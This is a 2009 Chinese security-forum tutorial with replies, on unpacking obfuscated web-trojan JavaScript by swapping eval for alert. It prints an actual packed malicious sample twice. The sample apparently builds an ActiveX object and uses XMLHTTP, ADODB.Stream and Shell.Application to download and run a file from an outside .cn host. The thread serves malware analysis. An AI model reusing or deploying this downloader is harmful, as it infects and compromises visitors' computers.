瑞星卡卡安全论坛技术交流区恶意网站交流 网马解密大讲堂——网马解密中级篇(Eval篇)

1   1  /  1  页   跳转

网马解密大讲堂——网马解密中级篇(Eval篇)

网马解密大讲堂——网马解密中级篇(Eval篇)

卡卡讲堂之网马解密 初级篇
卡卡讲堂之网马解密 中级篇
卡卡讲堂之网马解密 高级篇(swf网马解密)
卡卡讲堂之网马解密 高级篇(pdf网马解密)
1.Freshow解密工具的详细用法
2.网马解密之——Eval篇
3.网马解密之——Document.write篇
4.网马解密之——Alpha2篇
5.网马解密之——Shellcode篇
6.网马解密之——Base64篇
7.网马解密之——US-ASCII篇
8.浅谈eval解密之——工具篇




引用:

一. eval加密是在网马解密中最常见的,eval在jscript脚本中实际上是一个函数,简单可以理解为执行语句的的意思。




  • Eval方法

    参数 :codeString 必选。包含有效 JScript 代码的字符串。eval 函数允许动态执行 JScript 源代码。

2.  eval函数特点:是将字符串转换为脚本代码,然后就可以执行了,但是,如果字符串里面还有HMTL标签的话,它就不能执行了。




引用:

二. Eval解密方法之alert方法:

  • alert函数:

  • 在要对eval解密之前首先需要了解一下alert这个函数,大家可能有个疑问,在解马的过程中怎样才能保证自身系统安全而又不中招呢,我们知道要是直接去访问一些经过加密的网马地址,就相当于在电脑上直接运行了网马。既要能将网马解出,又要保证系统的安全。这时我们就要用到alert这个函数。

  • alert函数在jscript中有弹出消息内容的作用,我们正是可以利用这一特性,来保证在解马的过程中不会中招。请看下面一个小例子:

  • <script>alert("你好!")</script>将此段代码,粘贴至记事本中保存为htm格式(文件名随意),直接运行后可看到alert函数的效果。


用户系统信息:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2)
本帖被评分 2 次
最后编辑networkedition 最后编辑于 2009-05-21 14:52:15
分享到:
gototop
 

回复:网马解密大讲堂——网马解密中级篇(Eval篇)

了解以上内容后,接下来我们来看一个eval的实例:


eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 z,y,x,v,w;B=\'C://I.u/F/D.E\';1 J=\'4.n\';1 i=\'4.h\';1 j=f["g"]["s"]("q");1 8="p:";1 9="0-k-0";1 7="l";1 5="G";1 2="N";1 c="Z-W-Y";1 K="U.X"+"M"+"L"+"H"+"T"+"T"+"P";1 V="A"+"d"+"o"+"d"+"b."+"S"+"t"+"r"+"e"+"a"+"m";1 3="O.";1 6="Q";1 R=3+6;1 2=8+2+c+9+7+5;',62,62,'|var|Gameeeeex|ying|Gameeeeee|Gameeeeesss|yings|Gameeeeess|Gameeeee|Gameeeees|||Gameeeeexx|||window|document|vbs|Gameeenames|chilam|983A|0C04||pif||clsid|object||createElement||com|wwwGameeecn|wwwGameeecn2|Gameeezfx|Gameeezfs|Gameeezf||Gameee|http|f5|css|xia|FC29E36||haoxia18|Gameeename|Gameeexml|||BD96C|Shell||Application|yingx|||Microsoft|Gameeeado|65A3||11D|556'.split('|'),0,{}))


将此段代码复制粘贴至记事本中,将其中的eval修改为alert其余内容不变,但要加上<script></script>实际变为一个脚本。保存为htm(文件名任意)处理后的代码如下:

<script>
alert(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 z,y,x,v,w;B=\'C://I.u/F/D.E\';1 J=\'4.n\';1 i=\'4.h\';1 j=f["g"]["s"]("q");1 8="p:";1 9="0-k-0";1 7="l";1 5="G";1 2="N";1 c="Z-W-Y";1 K="U.X"+"M"+"L"+"H"+"T"+"T"+"P";1 V="A"+"d"+"o"+"d"+"b."+"S"+"t"+"r"+"e"+"a"+"m";1 3="O.";1 6="Q";1 R=3+6;1 2=8+2+c+9+7+5;',62,62,'|var|Gameeeeex|ying|Gameeeeee|Gameeeeesss|yings|Gameeeeess|Gameeeee|Gameeeees|||Gameeeeexx|||window|document|vbs|Gameeenames|chilam|983A|0C04||pif||clsid|object||createElement||com|wwwGameeecn|wwwGameeecn2|Gameeezfx|Gameeezfs|Gameeezf||Gameee|http|f5|css|xia|FC29E36||haoxia18|Gameeename|Gameeexml|||BD96C|Shell||Application|yingx|||Microsoft|Gameeeado|65A3||11D|556'.split('|'),0,{}))
</script>




引用:
解密结果见下图,我们看到红色框内容为网马的下载地址,鼠标选中这个对话框,ctrl+a全选再ctrl+c复制,可将整个代码粘贴至记事本上。获得代码地址后,可使用下载工具直接下载网马。


本帖被评分 3 次
最后编辑networkedition 最后编辑于 2009-05-16 21:15:58
gototop
 

回复 5F kekao 的帖子

是会有这种情况出现,我这里只是提供了一个古老但觉得应该需要讲的方法
gototop
 

回复 8F happysunday2003 的帖子

那些gameeeeex我的理解应该是定义了一些脚本的变量,主要用来网马的执行。网马解密主要是看解密出的网马地址及利用的哪些漏洞,lz如果感兴趣研究网马是如何通过系统漏洞运行起来,可研究一下具体的代码是如何执行的。
gototop
 

回复 13F 幽灵楠 的帖子

需要将eval修改为alert,还有需要在代码开始和结尾需要添加<script></script>标签。
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT